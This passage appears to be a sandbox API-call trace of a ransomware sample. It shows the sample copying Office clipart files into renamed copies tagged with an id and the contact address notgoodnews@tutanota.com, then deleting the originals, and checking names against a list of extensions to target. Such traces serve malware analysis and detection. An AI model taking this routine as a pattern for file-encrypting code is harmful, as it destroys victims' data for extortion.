[0167.267] SetFilePointerEx (in: hFile=0x4dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0167.267] SetEndOfFile (hFile=0x4dc) returned 1 [0167.270] CloseHandle (hObject=0x4dc) returned 1 [0167.270] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099174.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0167.568] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099174.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099174.wmf")) returned 1 [0167.569] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099174.WMF") returned 68 [0167.569] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099174.WMF") returned 68 [0167.569] lstrlenW (lpString=".doc") returned 4 [0167.569] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0167.569] lstrlenW (lpString=".docx") returned 5 [0167.569] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0167.569] lstrlenW (lpString=".pdf") returned 4 [0167.569] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0167.569] lstrlenW (lpString=".xls") returned 4 [0167.569] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0167.570] lstrlenW (lpString=".xlsx") returned 5 [0167.570] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0167.570] lstrlenW (lpString=".ppt") returned 4 [0167.570] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0167.570] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099174.WMF") returned 68 [0167.570] lstrlenW (lpString=".zip") returned 4 [0167.570] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0167.570] lstrlenW (lpString=".rar") returned 4 [0167.570] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0167.570] lstrlenW (lpString=".bz2") returned 4 [0167.570] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0167.570] lstrlenW (lpString=".7z") returned 3 [0167.570] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0167.570] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099174.WMF") returned 68 [0167.570] lstrlenW (lpString=".dbf") returned 4 [0167.570] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0167.570] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099174.WMF") returned 68 [0167.570] lstrlenW (lpString=".1cd") returned 4 [0167.570] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0167.570] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099174.WMF") returned 68 [0167.570] lstrlenW (lpString=".jpg") returned 4 [0167.570] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0167.570] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099174.WMF") returned 68 [0167.570] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099174.WMF") returned 68 [0167.570] lstrlenW (lpString=".doc") returned 4 [0167.570] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0167.570] lstrlenW (lpString=".docx") returned 5 [0167.571] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0167.571] lstrlenW (lpString=".pdf") returned 4 [0167.571] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0167.571] lstrlenW (lpString=".xls") returned 4 [0167.571] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0167.571] lstrlenW (lpString=".xlsx") returned 5 [0167.571] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0167.571] lstrlenW (lpString=".ppt") returned 4 [0167.571] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0167.571] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099174.WMF") returned 68 [0167.571] lstrlenW (lpString=".zip") returned 4 [0167.571] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0167.571] lstrlenW (lpString=".rar") returned 4 [0167.571] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0167.571] lstrlenW (lpString=".bz2") returned 4 [0167.571] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0167.571] lstrlenW (lpString=".7z") returned 3 [0167.571] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0167.571] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099174.WMF") returned 68 [0167.571] lstrlenW (lpString=".dbf") returned 4 [0167.571] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0167.571] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099174.WMF") returned 68 [0167.571] lstrlenW (lpString=".1cd") returned 4 [0167.571] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0167.571] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099174.WMF") returned 68 [0167.571] lstrlenW (lpString=".jpg") returned 4 [0167.571] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0167.572] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0167.572] lstrlenW (lpString="J0099179.WMF") returned 12 [0167.572] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099179.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099179.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4dc [0167.573] GetFileSizeEx (in: hFile=0x4dc, lpFileSize=0x2f9ff14 | out: lpFileSize=0x2f9ff14*=9154) returned 1 [0167.573] CloseHandle (hObject=0x4dc) returned 1 [0167.573] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099179.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099179.wmf")) returned 0x220 [0167.573] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099179.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099179.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0167.574] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099179.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099179.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4dc [0167.574] SetFilePointerEx (in: hFile=0x4dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0167.574] SetFilePointerEx (in: hFile=0x4dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0167.574] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099179.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099179.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0167.575] GetLastError () returned 0x0 [0167.575] ReadFile (in: hFile=0x4dc, lpBuffer=0x3b52020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b52020*, lpNumberOfBytesRead=0x2f9fecc*=0x23c2, lpOverlapped=0x0) returned 1 [0167.577] WriteFile (in: hFile=0x544, lpBuffer=0x3b52020*, nNumberOfBytesToWrite=0x23d0, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b52020*, lpNumberOfBytesWritten=0x2f9fc94*=0x23d0, lpOverlapped=0x0) returned 1 [0167.579] ReadFile (in: hFile=0x4dc, lpBuffer=0x3b52020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b52020*, lpNumberOfBytesRead=0x2f9fecc*=0x0, lpOverlapped=0x0) returned 1 [0167.579] WriteFile (in: hFile=0x544, lpBuffer=0x3b52020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b52020*, lpNumberOfBytesWritten=0x2f9fc94*=0xec, lpOverlapped=0x0) returned 1 [0167.580] SetEndOfFile (hFile=0x544) returned 1 [0167.580] CloseHandle (hObject=0x544) returned 1 [0167.580] SetFilePointerEx (in: hFile=0x4dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0167.580] SetEndOfFile (hFile=0x4dc) returned 1 [0167.584] CloseHandle (hObject=0x4dc) returned 1 [0167.584] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099179.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0167.965] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099179.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099179.wmf")) returned 1 [0167.966] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099179.WMF") returned 68 [0167.966] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099179.WMF") returned 68 [0167.966] lstrlenW (lpString=".doc") returned 4 [0167.966] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0167.966] lstrlenW (lpString=".docx") returned 5 [0167.966] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0167.966] lstrlenW (lpString=".pdf") returned 4 [0167.966] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0167.966] lstrlenW (lpString=".xls") returned 4 [0167.966] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0167.966] lstrlenW (lpString=".xlsx") returned 5 [0167.966] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0167.967] lstrlenW (lpString=".ppt") returned 4 [0167.967] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0167.967] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099179.WMF") returned 68 [0167.967] lstrlenW (lpString=".zip") returned 4 [0167.967] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0167.967] lstrlenW (lpString=".rar") returned 4 [0167.967] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0167.967] lstrlenW (lpString=".bz2") returned 4 [0167.967] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0167.967] lstrlenW (lpString=".7z") returned 3 [0167.967] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0167.967] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099179.WMF") returned 68 [0167.967] lstrlenW (lpString=".dbf") returned 4 [0167.967] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0167.967] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099179.WMF") returned 68 [0167.967] lstrlenW (lpString=".1cd") returned 4 [0167.967] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0167.967] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099179.WMF") returned 68 [0167.967] lstrlenW (lpString=".jpg") returned 4 [0167.967] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0167.967] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099179.WMF") returned 68 [0167.967] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099179.WMF") returned 68 [0167.967] lstrlenW (lpString=".doc") returned 4 [0167.967] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0167.967] lstrlenW (lpString=".docx") returned 5 [0167.967] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0167.967] lstrlenW (lpString=".pdf") returned 4 [0167.967] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0167.968] lstrlenW (lpString=".xls") returned 4 [0167.968] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0167.968] lstrlenW (lpString=".xlsx") returned 5 [0167.968] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0167.968] lstrlenW (lpString=".ppt") returned 4 [0167.968] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0167.968] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099179.WMF") returned 68 [0167.968] lstrlenW (lpString=".zip") returned 4 [0167.968] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0167.968] lstrlenW (lpString=".rar") returned 4 [0167.968] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0167.968] lstrlenW (lpString=".bz2") returned 4 [0167.968] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0167.968] lstrlenW (lpString=".7z") returned 3 [0167.968] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0167.968] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099179.WMF") returned 68 [0167.968] lstrlenW (lpString=".dbf") returned 4 [0167.968] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0167.968] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099179.WMF") returned 68 [0167.968] lstrlenW (lpString=".1cd") returned 4 [0167.968] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0167.968] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099179.WMF") returned 68 [0167.968] lstrlenW (lpString=".jpg") returned 4 [0167.968] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0167.969] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0167.969] lstrlenW (lpString="J0099182.WMF") returned 12 [0167.969] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099182.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099182.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c [0167.970] GetFileSizeEx (in: hFile=0x53c, lpFileSize=0x2f9ff14 | out: lpFileSize=0x2f9ff14*=3840) returned 1 [0167.971] CloseHandle (hObject=0x53c) returned 1 [0167.971] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099182.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099182.wmf")) returned 0x220 [0167.971] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099182.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099182.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0167.971] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099182.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099182.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c [0167.971] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0167.972] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0167.972] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099182.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099182.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4dc [0167.972] GetLastError () returned 0x0 [0167.972] ReadFile (in: hFile=0x53c, lpBuffer=0x3b52020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b52020*, lpNumberOfBytesRead=0x2f9fecc*=0xf00, lpOverlapped=0x0) returned 1 [0167.989] WriteFile (in: hFile=0x4dc, lpBuffer=0x3b52020*, nNumberOfBytesToWrite=0xf10, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b52020*, lpNumberOfBytesWritten=0x2f9fc94*=0xf10, lpOverlapped=0x0) returned 1 [0167.991] ReadFile (in: hFile=0x53c, lpBuffer=0x3b52020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b52020*, lpNumberOfBytesRead=0x2f9fecc*=0x0, lpOverlapped=0x0) returned 1 [0167.991] WriteFile (in: hFile=0x4dc, lpBuffer=0x3b52020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b52020*, lpNumberOfBytesWritten=0x2f9fc94*=0xec, lpOverlapped=0x0) returned 1 [0167.991] SetEndOfFile (hFile=0x4dc) returned 1 [0167.991] CloseHandle (hObject=0x4dc) returned 1 [0167.991] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0167.991] SetEndOfFile (hFile=0x53c) returned 1 [0167.995] CloseHandle (hObject=0x53c) returned 1 [0167.995] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099182.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0167.995] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099182.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099182.wmf")) returned 1 [0167.996] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099182.WMF") returned 68 [0167.996] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099182.WMF") returned 68 [0167.997] lstrlenW (lpString=".doc") returned 4 [0167.997] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0167.997] lstrlenW (lpString=".docx") returned 5 [0167.997] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0167.997] lstrlenW (lpString=".pdf") returned 4 [0167.997] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0167.997] lstrlenW (lpString=".xls") returned 4 [0167.997] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0167.997] lstrlenW (lpString=".xlsx") returned 5 [0167.997] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0167.997] lstrlenW (lpString=".ppt") returned 4 [0167.997] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0167.997] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099182.WMF") returned 68 [0167.997] lstrlenW (lpString=".zip") returned 4 [0167.997] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0167.997] lstrlenW (lpString=".rar") returned 4 [0167.997] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0167.997] lstrlenW (lpString=".bz2") returned 4 [0167.997] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0167.997] lstrlenW (lpString=".7z") returned 3 [0167.997] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0167.997] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099182.WMF") returned 68 [0167.997] lstrlenW (lpString=".dbf") returned 4 [0167.997] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0167.997] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099182.WMF") returned 68 [0167.997] lstrlenW (lpString=".1cd") returned 4 [0167.997] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0167.997] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099182.WMF") returned 68 [0167.997] lstrlenW (lpString=".jpg") returned 4 [0167.997] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0167.998] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099182.WMF") returned 68 [0167.998] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099182.WMF") returned 68 [0167.998] lstrlenW (lpString=".doc") returned 4 [0167.998] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0167.998] lstrlenW (lpString=".docx") returned 5 [0167.998] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0167.998] lstrlenW (lpString=".pdf") returned 4 [0167.998] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0167.998] lstrlenW (lpString=".xls") returned 4 [0167.998] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0167.998] lstrlenW (lpString=".xlsx") returned 5 [0167.998] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0167.998] lstrlenW (lpString=".ppt") returned 4 [0167.998] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0167.998] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099182.WMF") returned 68 [0167.998] lstrlenW (lpString=".zip") returned 4 [0167.998] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0167.998] lstrlenW (lpString=".rar") returned 4 [0167.998] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0167.998] lstrlenW (lpString=".bz2") returned 4 [0167.998] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0167.998] lstrlenW (lpString=".7z") returned 3 [0167.998] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0167.998] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099182.WMF") returned 68 [0167.998] lstrlenW (lpString=".dbf") returned 4 [0167.998] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0167.998] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099182.WMF") returned 68 [0167.998] lstrlenW (lpString=".1cd") returned 4 [0167.998] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0167.998] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099182.WMF") returned 68 [0167.998] lstrlenW (lpString=".jpg") returned 4 [0167.998] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0167.998] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0167.999] lstrlenW (lpString="J0099184.WMF") returned 12 [0167.999] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099184.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099184.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c [0167.999] GetFileSizeEx (in: hFile=0x53c, lpFileSize=0x2f9ff14 | out: lpFileSize=0x2f9ff14*=4118) returned 1 [0167.999] CloseHandle (hObject=0x53c) returned 1 [0167.999] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099184.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099184.wmf")) returned 0x220 [0167.999] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099184.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099184.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0168.000] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099184.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099184.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c [0168.000] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0168.000] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0168.000] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099184.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099184.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4dc [0168.001] GetLastError () returned 0x0 [0168.001] ReadFile (in: hFile=0x53c, lpBuffer=0x3b52020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b52020*, lpNumberOfBytesRead=0x2f9fecc*=0x1016, lpOverlapped=0x0) returned 1 [0168.006] WriteFile (in: hFile=0x4dc, lpBuffer=0x3b52020*, nNumberOfBytesToWrite=0x1020, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b52020*, lpNumberOfBytesWritten=0x2f9fc94*=0x1020, lpOverlapped=0x0) returned 1 [0168.009] ReadFile (in: hFile=0x53c, lpBuffer=0x3b52020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b52020*, lpNumberOfBytesRead=0x2f9fecc*=0x0, lpOverlapped=0x0) returned 1 [0168.009] WriteFile (in: hFile=0x4dc, lpBuffer=0x3b52020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b52020*, lpNumberOfBytesWritten=0x2f9fc94*=0xec, lpOverlapped=0x0) returned 1 [0168.009] SetEndOfFile (hFile=0x4dc) returned 1 [0168.009] CloseHandle (hObject=0x4dc) returned 1 [0168.009] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0168.009] SetEndOfFile (hFile=0x53c) returned 1 [0168.019] CloseHandle (hObject=0x53c) returned 1 [0168.019] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft 